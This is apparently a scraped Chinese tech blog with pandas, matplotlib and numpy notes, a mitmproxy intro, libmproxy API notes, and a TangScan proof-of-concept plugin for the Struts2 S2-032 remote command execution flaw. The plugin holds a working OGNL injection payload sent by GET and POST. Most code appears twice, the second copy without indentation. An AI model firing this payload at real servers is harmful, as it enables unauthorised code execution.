2017-08-06 0.377513

2017-08-07 1.009144

2017-08-08 -0.257351

Freq: D, Name: A, dtype: float64

A B C D E

2017-08-01 1.075245 -0.605058 0.712755 2.418159 -0.028940

2017-08-02 -1.513320 -0.517082 1.363238 0.618522 -0.450400

2017-08-03 -2.267711 -2.235939 2.288919 2.608362 -1.181633

A B C D E

2017-08-01 1.075245 -0.605058 0.712755 2.418159 -0.028940

2017-08-02 -1.513320 -0.517082 1.363238 0.618522 -0.450400

2017-08-03 -2.267711 -2.235939 2.288919 2.608362 -1.181633

2017-08-04 -0.276085 -1.130215 -0.122823 -0.542475 -0.331884

2017-08-05 -0.231365 -0.488244 1.757364 -0.967584 -1.448575

2017-08-06 0.377513 0.051755 0.322172 -0.462239 0.823563

A 1.075245

B -0.605058

C 0.712755

D 2.418159

E -0.028940

Name: 2017-08-01 00:00:00, dtype: float64

B D

2017-08-02 -0.517082 0.618522

2017-08-03 -2.235939 2.608362

2017-08-04 -1.130215 -0.542475

2017-08-05 -0.488244 -0.967584

2017-08-06 0.051755 -0.462239

0.71275536229

C D

2017-08-02 1.363238 0.618522

2017-08-03 2.288919 2.608362

-0.45040032497

A B C D E

2017-08-06 0.377513 0.051755 0.322172 -0.462239 0.823563

2017-08-08 -0.257351 0.984785 -0.297281 -0.230398 0.697477

A B C D E

2017-08-01 NaN -0.605058 NaN NaN -0.028940

2017-08-02 -1.513320 -0.517082 NaN NaN -0.450400

2017-08-03 -2.267711 -2.235939 NaN NaN -1.181633

2017-08-04 -0.276085 -1.130215 -0.122823 -0.542475 -0.331884

2017-08-05 -0.231365 -0.488244 NaN -0.967584 -1.448575

2017-08-06 NaN NaN NaN -0.462239 NaN

2017-08-07 NaN -0.670553 NaN -0.865274 -0.721550

2017-08-08 -0.257351 NaN -0.297281 -0.230398 NaN

Empty DataFrame

Columns: [A, B, C, D, E]

Index: []

2017-08-01 10

2017-08-02 11

2017-08-03 12

2017-08-04 13

2017-08-05 14

2017-08-06 15

2017-08-07 16

2017-08-08 17

Freq: D, dtype: int64

A B C D E F

2017-08-01 1.075245 -0.605058 0.712755 2.418159 -0.028940 10

2017-08-02 -1.513320 -0.517082 1.363238 0.618522 -0.450400 11

2017-08-03 -2.267711 -2.235939 2.288919 2.608362 -1.181633 12

2017-08-04 -0.276085 -1.130215 -0.122823 -0.542475 -0.331884 13

2017-08-05 -0.231365 -0.488244 1.757364 -0.967584 -1.448575 14

2017-08-06 0.377513 0.051755 0.322172 -0.462239 0.823563 15

2017-08-07 1.009144 -0.670553 0.262810 -0.865274 -0.721550 16

2017-08-08 -0.257351 0.984785 -0.297281 -0.230398 0.697477 17

A B C D E F

2017-08-01 0.000000 -0.605058 0.712755 2.418159 -0.028940 10

2017-08-02 -1.513320 -0.517082 1.363238 0.618522 -0.450400 11

2017-08-03 -2.267711 -2.235939 2.288919 2.608362 -1.181633 12

2017-08-04 -0.276085 -1.130215 -0.122823 -0.542475 -0.331884 13

2017-08-05 -0.231365 -0.488244 1.757364 -0.967584 -1.448575 14

2017-08-06 0.377513 0.051755 0.322172 -0.462239 0.823563 15

2017-08-07 1.009144 -0.670553 0.262810 -0.865274 -0.721550 16

2017-08-08 -0.257351 0.984785 -0.297281 -0.230398 0.697477 17

A B C D E F

2017-08-01 0.000000 -0.605058 0.712755 4 -0.028940 10

2017-08-02 -1.513320 -0.517082 1.363238 4 666.000000 11

2017-08-03 -2.267711 -2.235939 2.288919 4 -1.181633 12

2017-08-04 -0.276085 -1.130215 -0.122823 4 -0.331884 13

2017-08-05 -0.231365 -0.488244 1.757364 4 -1.448575 14

2017-08-06 0.377513 0.051755 0.322172 4 0.823563 15

2017-08-07 1.009144 -0.670553 0.262810 4 -0.721550 16

2017-08-08 -0.257351 0.984785 -0.297281 4 0.697477 17

A B C D E F

2017-08-01 0.000000 0.605058 0.712755 4 0.028940 10

2017-08-02 1.513320 0.517082 1.363238 4 666.000000 11

2017-08-03 2.267711 2.235939 2.288919 4 1.181633 12

2017-08-04 0.276085 1.130215 0.122823 4 0.331884 13

2017-08-05 0.231365 0.488244 1.757364 4 1.448575 14

2017-08-06 0.377513 0.051755 0.322172 4 0.823563 15

2017-08-07 1.009144 0.670553 0.262810 4 0.721550 16

2017-08-08 0.257351 0.984785 0.297281 4 0.697477 17

Matplotlib基本图形笔记

7月 28, 2017
0 条评论

#encoding=utf-8
import matplotlib.pyplot as plt
import numpy as np



#散点图
fig=plt.figure()#画布
ax=fig.add_subplot(3,2,1)#3行3列第一个
n=128
X=np.random.normal(0,1,n)#生成随机数 正态分布 [numpy.random.normal(loc=0.0, scale=1.0, size=None)]  运行代码中 0->此概率分布的均值（对应着整个分布的中心centre） 1->此概率分布的标准差（对应于分布的宽度，scale越大越矮胖，scale越小，越瘦高）n->输出的shape，默认为None，只输出一个值
Y=np.random.normal(0,1,n)
T=np.arctan2(X,Y)
#print X,Y,T
#plt.axes([0.025,0.025,0.95,0.95])#对画图区域设置 axes([x,y,xs,ys])#其中x代表在X轴的位置，y代表在Y轴的位置，xs代表在X轴上向右延展的范围大小，ys代表在Y轴中向上延展的范围大小
ax.scatter(X,Y,s=75,c=T,alpha=0.5)#绘制散点图size color alpha
plt.xlim(-1.5,1.5),plt.xticks([])#x轴范围 不显示坐标轴刻度
plt.ylim(-1.5,1.5),plt.yticks([])
plt.axis()#显示轴
plt.title("scatter")
plt.xlabel("x")
plt.ylabel("y")


#柱状图
ax=fig.add_subplot(322)
n=10
X=np.arange(n)
Y1=(1-X/float(n+1))
Y2=(1-X/float(n))
#print X,Y1,Y2
ax.bar(X,+Y1,facecolor="#9999FF",edgecolor="white")
ax.bar(X,-Y2,facecolor="#FF2222",edgecolor="white")
for x,y in zip(X,Y1):
    plt.text(x+0.1,+y+0.05,"%.2f"%y,ha="center",va="bottom",rotation="45")#bottom是柱状图相对于所标数字的位置
for x,y in zip(X,Y2):
    plt.text(x+0.1,-y-0.05,"%.2f"%y,ha="center",va="top")
plt.title("bar")
plt.yticks([])
plt.xticks([])



#饼图
ax=fig.add_subplot(323)
n=20
Z=np.ones(n)
Z[-1]*=2
ax.pie(Z,explode=Z*0.05,colors=["%f"%(i/float(n)) for i in range(n)],labels=["%.2f"%(i/float(n)) for i in range(n)])
plt.gca().set_aspect("equal")
plt.xticks([])
plt.yticks([])
plt.title("pie")


#极坐标图
fig.add_subplot(324,polar=True)
n=20
t=np.arange(0.0,2*np.pi,2*np.pi/n)
r=10*np.random.rand(n)
plt.polar(t,r)
plt.title("polar")



#3D
from mpl_toolkits.mplot3d import Axes3D
fig.add_subplot(313,projection="3d")
plt.plot([1,3,5,6,7,9],[4,2,2,1,2,3],[6,8,8,7,8,2],linestyle="-.")
plt.title("3D")



#plt.savefig("./fig.png")#保存
plt.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0)#参数图像边界和子图之间的额外边距。边距以字体大小单位规定。
plt.show()

#encoding=utf-8

import matplotlib.pyplot as plt

import numpy as np

#散点图

fig=plt.figure()#画布

ax=fig.add_subplot(3,2,1)#3行3列第一个

n=128

X=np.random.normal(0,1,n)#生成随机数正态分布 [numpy.random.normal(loc=0.0, scale=1.0, size=None)] 运行代码中 0->此概率分布的均值（对应着整个分布的中心centre） 1->此概率分布的标准差（对应于分布的宽度，scale越大越矮胖，scale越小，越瘦高）n->输出的shape，默认为None，只输出一个值

Y=np.random.normal(0,1,n)

T=np.arctan2(X,Y)

#print X,Y,T

#plt.axes([0.025,0.025,0.95,0.95])#对画图区域设置 axes([x,y,xs,ys])#其中x代表在X轴的位置，y代表在Y轴的位置，xs代表在X轴上向右延展的范围大小，ys代表在Y轴中向上延展的范围大小

ax.scatter(X,Y,s=75,c=T,alpha=0.5)#绘制散点图size color alpha

plt.xlim(-1.5,1.5),plt.xticks([])#x轴范围不显示坐标轴刻度

plt.ylim(-1.5,1.5),plt.yticks([])

plt.axis()#显示轴

plt.title("scatter")

plt.xlabel("x")

plt.ylabel("y")

#柱状图

ax=fig.add_subplot(322)

n=10

X=np.arange(n)

Y1=(1-X/float(n+1))

Y2=(1-X/float(n))

#print X,Y1,Y2

ax.bar(X,+Y1,facecolor="#9999FF",edgecolor="white")

ax.bar(X,-Y2,facecolor="#FF2222",edgecolor="white")

for x,y in zip(X,Y1):

plt.text(x+0.1,+y+0.05,"%.2f"%y,ha="center",va="bottom",rotation="45")#bottom是柱状图相对于所标数字的位置

for x,y in zip(X,Y2):

plt.text(x+0.1,-y-0.05,"%.2f"%y,ha="center",va="top")

plt.title("bar")

plt.yticks([])

plt.xticks([])

#饼图

ax=fig.add_subplot(323)

n=20

Z=np.ones(n)

Z[-1]*=2

ax.pie(Z,explode=Z*0.05,colors=["%f"%(i/float(n)) for i in range(n)],labels=["%.2f"%(i/float(n)) for i in range(n)])

plt.gca().set_aspect("equal")

plt.xticks([])

plt.yticks([])

plt.title("pie")

#极坐标图

fig.add_subplot(324,polar=True)

n=20

t=np.arange(0.0,2*np.pi,2*np.pi/n)

r=10*np.random.rand(n)

plt.polar(t,r)

plt.title("polar")

#3D

from mpl_toolkits.mplot3d import Axes3D

fig.add_subplot(313,projection="3d")

plt.plot([1,3,5,6,7,9],[4,2,2,1,2,3],[6,8,8,7,8,2],linestyle="-.")

plt.title("3D")

#plt.savefig("./fig.png")#保存

plt.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0)#参数图像边界和子图之间的额外边距。边距以字体大小单位规定。

plt.show()

matplotlib基本绘图笔记

7月 23, 2017
0 条评论

matplotlib基本绘图笔记，跟我一起来绘制一个丑陋的三角函数图吧！

#encoding=utf-8

import numpy as np
import matplotlib.pyplot as plt


#基本绘图设置
x=np.linspace(-np.pi,np.pi,256,endpoint=True)#2560个点 是否包含最后一个点
c,s=np.cos(x),np.sin(x)
plt.figure(1)#指定绘制图像1
plt.plot(x,c,color="blue",linewidth=1.5,linestyle="-",label="cos",alpha=0.5)#绘制 (自变量,因变量,颜色，宽度，线形，标签，透明度)
plt.plot(x,s,"r*",label="sin")#"r->红色 *->线形"
plt.title("testruilin cos sin")#标题


#设置轴
ax=plt.gca()#轴的编辑器
ax.spines["right"].set_color("none")#隐藏右面的轴
ax.spines["top"].set_color("none")
ax.spines["left"].set_position(("data",0))#把左面的轴移到数据为0的位置
ax.spines["bottom"].set_position(("data",0))


#轴旁边的数字相关设置
ax.xaxis.set_ticks_position("bottom")#把x轴数字放到x轴下方
ax.yaxis.set_ticks_position("left")
plt.yticks(np.linspace(-1,1,5,endpoint=True))#-1到1标5个点
plt.xlim(-5,5)#范围
for label in ax.get_xticklabels()+ax.get_yticklabels():#字体相关设置
    label.set_fontsize(18)
    label.set_bbox(dict(facecolor="white",edgecolor="black",alpha=0.3))


#其他
plt.grid()#网格线
plt.legend(loc="upper left")#图例位置
#plt.axis([-1,2,0.5,1])#显示范围
plt.fill_between(x,np.abs(x)<0.8,c,c>0.1,color="green",alpha=0.4)#填充效果 横坐标绝对值小于0.8为真即1 从y=1开始往下填充 大于0.8即为0 从0往上填充 这是纵向范围 ，横向范围由c定义范围决定，这里如图是纵坐标为0.1以上的横向距离符合，最后填充符合横向距离与纵向距离的范围的交集


#注释
t=1
plt.plot([t,t],[0,np.cos(t)],"y",linewidth=2.2,linestyle="--")#绘制一条线 两点分别为t,0 t,cos(t)的连线 虚线
plt.annotate("cos(1)",xy=(t,np.cos(t)),xycoords="data",xytext=(+10,+30),textcoords="offset points",arrowprops=dict(arrowstyle="->",connectionstyle="arc3,rad=0.3"))
#注释    基本位置  coords是坐标的意思 xytext=(+10,+30),textcoords="offset points"控制偏移量并设置为相对偏移 arrowprops设置箭头工具 类型 弧度



plt.show()#展示

#encoding=utf-8

import numpy as np

import matplotlib.pyplot as plt

#基本绘图设置

x=np.linspace(-np.pi,np.pi,256,endpoint=True)#2560个点是否包含最后一个点

c,s=np.cos(x),np.sin(x)

plt.figure(1)#指定绘制图像1

plt.plot(x,c,color="blue",linewidth=1.5,linestyle="-",label="cos",alpha=0.5)#绘制 (自变量,因变量,颜色，宽度，线形，标签，透明度)

plt.plot(x,s,"r*",label="sin")#"r->红色 *->线形"

plt.title("testruilin cos sin")#标题

#设置轴

ax=plt.gca()#轴的编辑器

ax.spines["right"].set_color("none")#隐藏右面的轴

ax.spines["top"].set_color("none")

ax.spines["left"].set_position(("data",0))#把左面的轴移到数据为0的位置

ax.spines["bottom"].set_position(("data",0))

#轴旁边的数字相关设置

ax.xaxis.set_ticks_position("bottom")#把x轴数字放到x轴下方

ax.yaxis.set_ticks_position("left")

plt.yticks(np.linspace(-1,1,5,endpoint=True))#-1到1标5个点

plt.xlim(-5,5)#范围

for label in ax.get_xticklabels()+ax.get_yticklabels():#字体相关设置

label.set_fontsize(18)

label.set_bbox(dict(facecolor="white",edgecolor="black",alpha=0.3))

#其他

plt.grid()#网格线

plt.legend(loc="upper left")#图例位置

#plt.axis([-1,2,0.5,1])#显示范围

plt.fill_between(x,np.abs(x)<0.8,c,c>0.1,color="green",alpha=0.4)#填充效果横坐标绝对值小于0.8为真即1 从y=1开始往下填充大于0.8即为0 从0往上填充这是纵向范围，横向范围由c定义范围决定，这里如图是纵坐标为0.1以上的横向距离符合，最后填充符合横向距离与纵向距离的范围的交集

#注释

t=1

plt.plot([t,t],[0,np.cos(t)],"y",linewidth=2.2,linestyle="--")#绘制一条线两点分别为t,0 t,cos(t)的连线虚线

plt.annotate("cos(1)",xy=(t,np.cos(t)),xycoords="data",xytext=(+10,+30),textcoords="offset points",arrowprops=dict(arrowstyle="->",connectionstyle="arc3,rad=0.3"))

#注释基本位置 coords是坐标的意思 xytext=(+10,+30),textcoords="offset points"控制偏移量并设置为相对偏移 arrowprops设置箭头工具类型弧度

plt.show()#展示

numpy常用操作笔记

7月 21, 2017
0 条评论

#encoding=utf-8
import numpy as np

lst=[[1,2,3],[6,7,8]]
print (type(lst))
np_lst=np.array(lst)
print (type(np_lst))
np_lst=np.array(lst,dtype=np.float)
print np_lst
print (np_lst.shape)#几行几列
print (np_lst.ndim)#维度
print (np_lst.dtype)#类型
print (np_lst.itemsize)#所占字节
print (np_lst.size)#大小

print (np.zeros([2,4]))#定义数组
print (np.ones([3,2]))
print (np.random.rand())#随机数
print (np.random.rand(2,4))
print (np.random.randint(1,10,3))#生成1-10随机的三个整数
print (np.random.choice([1,2,3,5,10,100,666]))#选择指定数字
print (np.random.beta(1,10,100))#beta分布

print (np.arange(1,11).reshape([2,-1]))#生成1-10的等差数列并显示为2行5列

list=np.array([[[1,2,3],
               [4,5,6]],
              [[7,8,9],
               [10,11,12]]
              ])
print (list.sum(axis=0))#axis指定一个维度求和 axis越大越深入 =0对最外层求和 1+7 2+8 3+9 4+10 5+11 6+12
print (list.sum(axis=1))#内层求和 1+4 2+5 3+6 7+10 8+11 9+12
print (list.sum(axis=2))#再深入一层 1+2+3 4+5+6 7+8+9 10+11+12
print (list.max(axis=1))#求最大值
print (list.min(axis=2))#求最小值

lst1=np.array([1,2,3])
lst2=np.array([10,11,12])
print (np.concatenate((lst1,lst2),axis=0))#追加到一起
print (np.vstack((lst1,lst2)))#上下追加到一起 两行
print (np.hstack((lst1,lst2)))#合在一起
print (np.split(lst1,3))#分成3组

#encoding=utf-8

import numpy as np

lst=[[1,2,3],[6,7,8]]

print (type(lst))

np_lst=np.array(lst)

print (type(np_lst))

np_lst=np.array(lst,dtype=np.float)

print np_lst

print (np_lst.shape)#几行几列

print (np_lst.ndim)#维度

print (np_lst.dtype)#类型

print (np_lst.itemsize)#所占字节

print (np_lst.size)#大小

print (np.zeros([2,4]))#定义数组

print (np.ones([3,2]))

print (np.random.rand())#随机数

print (np.random.rand(2,4))

print (np.random.randint(1,10,3))#生成1-10随机的三个整数

print (np.random.choice([1,2,3,5,10,100,666]))#选择指定数字

print (np.random.beta(1,10,100))#beta分布

print (np.arange(1,11).reshape([2,-1]))#生成1-10的等差数列并显示为2行5列

list=np.array([[[1,2,3],

[4,5,6]],

[[7,8,9],

[10,11,12]]

])

print (list.sum(axis=0))#axis指定一个维度求和 axis越大越深入 =0对最外层求和 1+7 2+8 3+9 4+10 5+11 6+12

print (list.sum(axis=1))#内层求和 1+4 2+5 3+6 7+10 8+11 9+12

print (list.sum(axis=2))#再深入一层 1+2+3 4+5+6 7+8+9 10+11+12

print (list.max(axis=1))#求最大值

print (list.min(axis=2))#求最小值

lst1=np.array([1,2,3])

lst2=np.array([10,11,12])

print (np.concatenate((lst1,lst2),axis=0))#追加到一起

print (np.vstack((lst1,lst2)))#上下追加到一起两行

print (np.hstack((lst1,lst2)))#合在一起

print (np.split(lst1,3))#分成3组

output:

<type 'list'>
<type 'numpy.ndarray'>
[[ 1.  2.  3.]
 [ 6.  7.  8.]]
(2, 3)
2
float64
8
6
[[ 0.  0.  0.  0.]
 [ 0.  0.  0.  0.]]
[[ 1.  1.]
 [ 1.  1.]
 [ 1.  1.]]
0.0790300286594
[[ 0.40570725  0.40072322  0.75697423  0.45873189]
 [ 0.84684053  0.80063956  0.02231413  0.57768334]]
[4 5 8]
10
[  1.98939407e-02   1.61285413e-02   1.18716706e-02   8.10961771e-02
   1.63533368e-01   1.44668421e-01   5.11693434e-02   6.59941834e-02
   2.23286959e-02   2.15972016e-01   8.63734013e-02   8.06557908e-02
   1.22880147e-01   1.09686347e-02   6.54980124e-02   1.98280109e-03
   4.08960959e-05   4.99724974e-02   4.46814021e-02   1.38706779e-01
   1.24582838e-01   5.32977093e-02   1.01838024e-01   2.46115301e-01
   6.15260218e-03   1.08537025e-01   1.69927681e-02   1.03185373e-01
   2.02785750e-02   4.68360049e-02   2.35353598e-02   1.53166093e-01
   7.08847154e-02   1.43549143e-02   9.55657510e-02   7.62737256e-02
   5.94670869e-03   5.71465328e-03   3.98867568e-02   6.37016822e-02
   9.69537649e-02   3.52414465e-02   5.60588196e-03   1.45640846e-01
   3.06005428e-02   7.66577878e-02   1.98901419e-02   1.04611224e-01
   1.45486287e-02   4.63747783e-03   1.00559794e-01   4.14864166e-02
   6.97617286e-02   1.21598675e-02   5.18675502e-02   2.67329995e-01
   2.71693357e-01   7.61304550e-02   7.19672528e-02   6.30126936e-03
   3.79026503e-02   2.35909430e-01   5.86051618e-02   2.11428839e-01
   1.35133707e-01   6.62907241e-02   1.38296699e-01   2.88886522e-01
   2.40987292e-02   1.76062934e-02   1.90230382e-01   2.09219429e-01
   3.40778112e-02   4.66014797e-02   5.47428038e-03   2.20511410e-02
   3.19067152e-02   2.47324231e-02   3.66452719e-02   2.97249683e-02
   2.26196050e-01   1.59556704e-02   5.66573658e-04   1.44624707e-01
   8.91173413e-02   4.21186597e-02   3.77105859e-03   2.68561111e-01
   1.88337068e-02   1.12529504e-01   1.14325549e-01   6.22131659e-04
   4.74532828e-01   1.57684391e-01   2.60435883e-02   1.53169399e-03
   2.44662204e-02   2.86626061e-02   1.47198619e-01   4.32705246e-02]
[[ 1  2  3  4  5]
 [ 6  7  8  9 10]]
[[ 8 10 12]
 [14 16 18]]
[[ 5  7  9]
 [17 19 21]]
[[ 6 15]
 [24 33]]
[[ 4  5  6]
 [10 11 12]]
[[ 1  4]
 [ 7 10]]
[ 1  2  3 10 11 12]
[[ 1  2  3]
 [10 11 12]]
[ 1  2  3 10 11 12]
[array([1]), array([2]), array([3])]

[[ 1. 2. 3.]

[ 6. 7. 8.]]

(2, 3)

float64

[[ 0. 0. 0. 0.]

[ 0. 0. 0. 0.]]

[[ 1. 1.]

[ 1. 1.]

[ 1. 1.]]

0.0790300286594

[[ 0.40570725 0.40072322 0.75697423 0.45873189]

[ 0.84684053 0.80063956 0.02231413 0.57768334]]

[4 5 8]

[ 1.98939407e-02 1.61285413e-02 1.18716706e-02 8.10961771e-02

1.63533368e-01 1.44668421e-01 5.11693434e-02 6.59941834e-02

2.23286959e-02 2.15972016e-01 8.63734013e-02 8.06557908e-02

1.22880147e-01 1.09686347e-02 6.54980124e-02 1.98280109e-03

4.08960959e-05 4.99724974e-02 4.46814021e-02 1.38706779e-01

1.24582838e-01 5.32977093e-02 1.01838024e-01 2.46115301e-01

6.15260218e-03 1.08537025e-01 1.69927681e-02 1.03185373e-01

2.02785750e-02 4.68360049e-02 2.35353598e-02 1.53166093e-01

7.08847154e-02 1.43549143e-02 9.55657510e-02 7.62737256e-02

5.94670869e-03 5.71465328e-03 3.98867568e-02 6.37016822e-02

9.69537649e-02 3.52414465e-02 5.60588196e-03 1.45640846e-01

3.06005428e-02 7.66577878e-02 1.98901419e-02 1.04611224e-01

1.45486287e-02 4.63747783e-03 1.00559794e-01 4.14864166e-02

6.97617286e-02 1.21598675e-02 5.18675502e-02 2.67329995e-01

2.71693357e-01 7.61304550e-02 7.19672528e-02 6.30126936e-03

3.79026503e-02 2.35909430e-01 5.86051618e-02 2.11428839e-01

1.35133707e-01 6.62907241e-02 1.38296699e-01 2.88886522e-01

2.40987292e-02 1.76062934e-02 1.90230382e-01 2.09219429e-01

3.40778112e-02 4.66014797e-02 5.47428038e-03 2.20511410e-02

3.19067152e-02 2.47324231e-02 3.66452719e-02 2.97249683e-02

2.26196050e-01 1.59556704e-02 5.66573658e-04 1.44624707e-01

8.91173413e-02 4.21186597e-02 3.77105859e-03 2.68561111e-01

1.88337068e-02 1.12529504e-01 1.14325549e-01 6.22131659e-04

4.74532828e-01 1.57684391e-01 2.60435883e-02 1.53169399e-03

2.44662204e-02 2.86626061e-02 1.47198619e-01 4.32705246e-02]

[[ 1 2 3 4 5]

[ 6 7 8 9 10]]

[[ 8 10 12]

[14 16 18]]

[[ 5 7 9]

[17 19 21]]

[[ 6 15]

[24 33]]

[[ 4 5 6]

[10 11 12]]

[[ 1 4]

[ 7 10]]

[ 1 2 3 10 11 12]

[[ 1 2 3]

[10 11 12]]

[ 1 2 3 10 11 12]

[array([1]), array([2]), array([3])]

Mitmproxy使用教程for mac

6月 30, 2017
4 条评论

作为开发者，测试方都需要经常对HTTP请求做分析,现在burpsuit,fiddler也为主流.可是一些场合并不需要如此全面的工具去支撑，快捷便于拓展可能又成为人们的另一个追求点.

0x01 介绍

An interactive console program that allows traffic flows to be intercepted, inspected, modified and replayed.

简单说该工具正如其名MITM（man-in-the-middle）再加个proxy –中间人代理软件，可以用来拦截，修改，保存HTTP/HTTPS请求。当然主要以命令行形式呈现，虽然现在已经有mitmweb辅助出现，不过官网称其暂时为beta阶段，一部分功能暂未完善。

官网地址：https://mitmproxy.org

阅读剩余部分 –

S2-032 远程命令执行 (POC@Tangscan)

5月 6, 2016
0 条评论

前段时间很火的S2-032 远程命令执行

import re
import string
from StringIO import StringIO
from thirdparty import requests
from modules.exploit import TSExploit
from StringIO import StringIO

class TangScan(TSExploit):
    def __init__(self):
        super(self.__class__, self).__init__()
        self.info = {
            "name": "S2-032 远程命令执行",
            "product": "",
            "product_version": "",
            "desc": """
            S2-032 远程命令执行
            """,
            "license": self.license.TS,
            "author": ["系统"],
            "ref": [
                {self.ref.wooyun: "http://zone.wooyun.org/content/26856"},
            ],
            "type": self.type.rce,
            "severity": self.severity.high,
            "privileged": False,
            "disclosure_date": "",
            "create_date": ""
        }
        self.register_option({
            "url": {
                "default": "",
                "required": True,
                "choices": [],
                "convert": self.convert.url_field,
                "desc": "目标 url"
            }
        })
        self.register_result({
            "status": False,
            "data": {

            },
            "description": "",
            "error": ""
        })

    def verify(self):
        exp_url = self.option.url + "?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23w%3d%23context.get(%23parameters.rpsobj[0]),%23w.getWriter().println(88888888-1),%23w.getWriter().flush(),%23w.getWriter().close(),1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse"
        try:
            r = requests.get(exp_url)
            content = r.content
        except:
            content = ''
        if content.find('88888887') == 0:
            self.result.status = True
            self.result.description = "目标 {url} 存在st2命令执行".format(
            url=self.option.url
        )
        else:
            try:
                headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36'}
                data = {r'reqobj': 'com.opensymphony.xwork2.dispatcher.HttpServletRequest',"rpsobj":"com.opensymphony.xwork2.dispatcher.HttpServletResponse","xxoo":"1"}
                files = {'test': ('1.jpg', StringIO('1'))}
                req = requests.Request('POST', self.option.url, headers=headers, data=data,files=files).prepare()
                
                req.body = req.body.replace('xxoo', r'method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#w=#context.get(#parameters.rpsobj[0]),#w.getWriter().println(88888888-1),#w.getWriter().flush(),#w.getWriter().close(),1?#xx:#request.toStringj')
                req.headers['Content-Length'] = len(req.body)
                s = requests.Session()
                reponse = s.send(req, timeout=10, verify=False, allow_redirects=False)

                if reponse.content.find('88888887') == 0:
                    self.result.status = True
                    self.result.description = "目标 {url} 存在st2命令执行".format(
                    url=self.option.url
                )
                
                
            except Exception,e:
                print str(e)
    def exploit(self):
        pass

if __name__ == '__main__':
    from modules.main import main
    main(TangScan())

import re

import string

from StringIO import StringIO

from thirdparty import requests

from modules.exploit import TSExploit

from StringIO import StringIO

class TangScan(TSExploit):

def __init__(self):

super(self.__class__, self).__init__()

self.info = {

"name": "S2-032 远程命令执行",

"product": "",

"product_version": "",

"desc": """

S2-032 远程命令执行

""",

"license": self.license.TS,

"author": ["系统"],

"ref": [

{self.ref.wooyun: "http://zone.wooyun.org/content/26856"},

"type": self.type.rce,

"severity": self.severity.high,

"privileged": False,

"disclosure_date": "",

"create_date": ""

}

self.register_option({

"url": {

"default": "",

"required": True,

"choices": [],

"convert": self.convert.url_field,

"desc": "目标 url"

}

})

self.register_result({

"status": False,

"data": {

"description": "",

"error": ""

})

def verify(self):

exp_url = self.option.url + "?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23w%3d%23context.get(%23parameters.rpsobj[0]),%23w.getWriter().println(88888888-1),%23w.getWriter().flush(),%23w.getWriter().close(),1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse"

try:

r = requests.get(exp_url)

content = r.content

except:

content = ''

if content.find('88888887') == 0:

self.result.status = True

self.result.description = "目标 {url} 存在st2命令执行".format(

url=self.option.url

)

else:

try:

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36'}

data = {r'reqobj': 'com.opensymphony.xwork2.dispatcher.HttpServletRequest',"rpsobj":"com.opensymphony.xwork2.dispatcher.HttpServletResponse","xxoo":"1"}

files = {'test': ('1.jpg', StringIO('1'))}

req = requests.Request('POST', self.option.url, headers=headers, data=data,files=files).prepare()

req.body = req.body.replace('xxoo', r'method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#w=#context.get(#parameters.rpsobj[0]),#w.getWriter().println(88888888-1),#w.getWriter().flush(),#w.getWriter().close(),1?#xx:#request.toStringj')

req.headers['Content-Length'] = len(req.body)

s = requests.Session()

reponse = s.send(req, timeout=10, verify=False, allow_redirects=False)

if reponse.content.find('88888887') == 0:

self.result.status = True

self.result.description = "目标 {url} 存在st2命令执行".format(

url=self.option.url

)

except Exception,e:

print str(e)

def exploit(self):

pass

if __name__ == '__main__':

from modules.main import main

main(TangScan())

libmproxy

3月 6, 2016
0 条评论

Request:

get_query():得到请求的url的参数，被存放成了字典。
set_query(odict):设置请求的url参数，参数是字典。
get_url():请求的url。
set_url(url):设置url的域。
get_cookies():得到请求的cookie。
headers：请求的header的字典。
content：请求的内容，如果请求时post，那么content就是指代post的参数。
Response的一些方法如下：
Headers：返回的header的字典。
Code：返回数据包的状态，比如200,301之类的状态。
Httpversion：http版本。

get_query():得到请求的url的参数，被存放成了字典。

set_query(odict):设置请求的url参数，参数是字典。

get_url():请求的url。

set_url(url):设置url的域。

get_cookies():得到请求的cookie。

headers：请求的header的字典。

content：请求的内容，如果请求时post，那么content就是指代post的参数。

Response的一些方法如下：

Headers：返回的header的字典。

Code：返回数据包的状态，比如200,301之类的状态。

Httpversion：http版本。

Mitmproxy项目主页：http://mitmproxy.org/

Github：https://github.com/mitmproxy/mitmproxy

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Mitmproxy使用教程for mac

0x01 介绍

S2-032 远程命令执行 (POC@Tangscan)

libmproxy

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